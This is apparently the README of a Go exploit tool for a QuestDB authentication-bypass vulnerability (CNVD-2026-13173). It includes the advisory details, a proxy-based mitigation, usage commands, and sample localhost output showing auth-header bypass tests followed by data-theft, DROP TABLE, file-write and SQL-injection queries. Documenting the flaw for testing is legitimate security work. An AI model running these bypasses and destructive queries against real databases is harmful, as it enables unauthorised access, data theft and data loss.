QuestExploit 是一款基于 Go 语言开发的自动化安全测试工具。它针对 QuestDB 数据库的身份验证机制进行深度探测,能够自动验证多种绕过手段,并演示在成功绕过身份验证后,攻击者可能执行的恶意操作(如数据窃取、表删除、任意文件写入等)。
本项目是 QuestDB 身份验证绕过漏洞利用工具 的详细文档。该工具专门用于演示和测试 QuestDB 在特定配置下存在的安全风险,帮助安全研究人员理解身份验证绕过机制及其潜在后果。
漏洞编号:CNVD-2026-13173
漏洞类型:未授权访问漏洞
危害级别:中 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
影响产品:QuestDB questdb
漏洞描述:QuestDB 是一个开源的时间序列数据库,提供极快的导入速度和动态、低延迟的 SQL 查询。该漏洞导致攻击者可以绕过身份验证机制,未授权访问敏感接口,获取敏感信息。
漏洞成因:身份验证配置失效,导致无需提供有效凭证即可访问受保护的 API 端点。
临时解决方案:在 QuestDB 前端部署反向代理(如 Nginx)并启用 HTTP Basic 认证,作为额外的访问控制层。
正式解决方案:厂商尚未提供漏洞修复方案,请关注厂商主页更新:https://questdb.com/
公开日期:2026-02-14 报送时间:2026-02-26 收录时间:2026-03-10
Basic Auth 凭证的处理是否存在缺陷Authorization 头部,测试后端解析器的鲁棒性users)中提取数据DROP TABLE 命令销毁核心日志或业务数据COPY 命令向服务器本地文件系统写入恶意文件的风险在项目根目录下运行:
go mod tidy
提供目标的 URL 即可开始测试:
go run . -u http://127.0.0.1:9000
示例输出:
[GIN-debug] [2026-02-14 12:02:47] [信息] 开始针对目标 localhost 的攻击
[GIN-debug] [2026-02-14 12:02:47] [信息] SQLite 数据库初始化成功,数据存放在: data/questdb_exploit_audit.db
测试: 无身份验证头
HTTP状态码: 200
响应包含有效数据集(身份验证绕过成功)
测试: 基本身份验证使用错误密码 (admin:wrong)
HTTP状态码: 200
响应包含有效数据集(身份验证绕过成功)
测试: 基本身份验证使用空用户名和密码 (:)
HTTP状态码: 200
响应包含有效数据集(身份验证绕过成功)
测试: 格式错误的基本身份验证头 (Basic abc1234567890)
HTTP状态码: 200
响应包含有效数据集(身份验证绕过成功)
测试: 空授权头
HTTP状态码: 200
响应包含有效数据集(身份验证绕过成功)
数据窃取命令 (SELECT * FROM users):
HTTP状态码: 400
响应预览: {"query":"SELECT * FROM users","error":"table does not exist [table=users]","position":14}
数据销毁命令 (DROP TABLE critical_logs):
HTTP状态码: 400
响应预览: {"query":"DROP TABLE critical_logs","error":"table does not exist [table=critical_logs]","position":11}
文件写入命令 (COPY (SELECT 'malicious') TO '/tmp/evil.csv'):
HTTP状态码: 400
响应预览: GET request method cannot have content
SQL注入命令 (CREATE TABLE \"test\"; DROP TABLE users; --\" (ts timestamp, val double);):
HTTP状态码: 400
响应预览: GET request method cannot have content
[GIN-debug] [2026-02-14 12:02:47] [信息] 成功记录攻击历史到数据库: http://localhost:9000
[GIN-debug] [2026-02-14 12:02:47] [信息] 漏洞利用执行完成
查看之前的测试记录:
# 查看所有历史记录
go run . -view-history
# 过滤特定主机的记录
go run . -view-history -history-filter localhost
# 只看最近的 5 条记录
go run . -view-history -history-limit 5
示例输出:
[GIN-debug] [2026-02-14 12:04:21] [信息] SQLite 数据库初始化成功,数据存放在: data/questdb_exploit_audit.db
ID |主机 |无认证绕过 |错误密码绕过 |空认证 |畸形头绕过 |空头 |AdminQuest绕过 |创建时间
--- |--- |--- |--- |--- |--- |--- |--- |---
4 |http://localhost:9000 |是 |是 |是 |是 |是 |是 |2026-02-14 04:02:47
3 |http://localhost:9000 |是 |是 |是 |是 |是 |是 |2026-02-14 04:02:34
2 |http://localhost:9000 |是 |是 |是 |是 |是 |是 |2026-02-14 03:52:11
1 |http://localhost:9000 |否 |否 |否 |否 |否 |否 |2026-02-14 03:49:24
[GIN-debug] [2026-02-14 12:04:21] [信息] 共找到 4 条历史记录
快速了解整体的攻击情况:
go run . -history-summary
示例输出:
统计项 |数量
--- |---
总记录数 |5
无认证绕过成功 |4
错误密码绕过成功 |4
空认证成功 |4
畸形头绕过成功 |4
空头成功 |4
AdminQuest绕过成功 |4
唯一主机数 |2
最新记录时间 |2026-02-14 04:04:39
最早记录时间 |2026-02-14 03:49:24
项目代码组织结构如下:
internal/cmd/:处理复杂的命令行参数解析internal/functions/:核心逻辑层,包含漏洞利用、目标扫描和历史查看的具体实现internal/model/:定义了项目中使用的所有数据结构internal/repository/:负责与 SQLite 数据库进行交互internal/service/:初始化基础服务(如数据库连接)internal/utilities/:通用的日志和工具函数test/:包含关键功能的单元测试,确保代码质量本工具的开发和使用严格遵循以下法律法规:
规定了电子数据的收集、固定、审查、判断程序:
规定了网络运营者配合网络安全监督管理:
规定了电子数据取证的标准操作规程:
违反上述法律法规可能导致:
本项目采用 木兰宽松许可证 (Mulan PSL) 进行许可。 有关详细信息,请参阅 LICENSE 文件。
感谢您使用本项目!您的支持是开源持续发展的核心动力。 每一份捐赠都将直接用于: ✅ 服务器与基础设施维护 ✅ 新功能开发与版本迭代 ✅ 文档优化与社区建设
点滴支持皆能汇聚成海,让我们共同打造更强大的开源工具!
🔵 支付宝 |
🟢 微信支付 |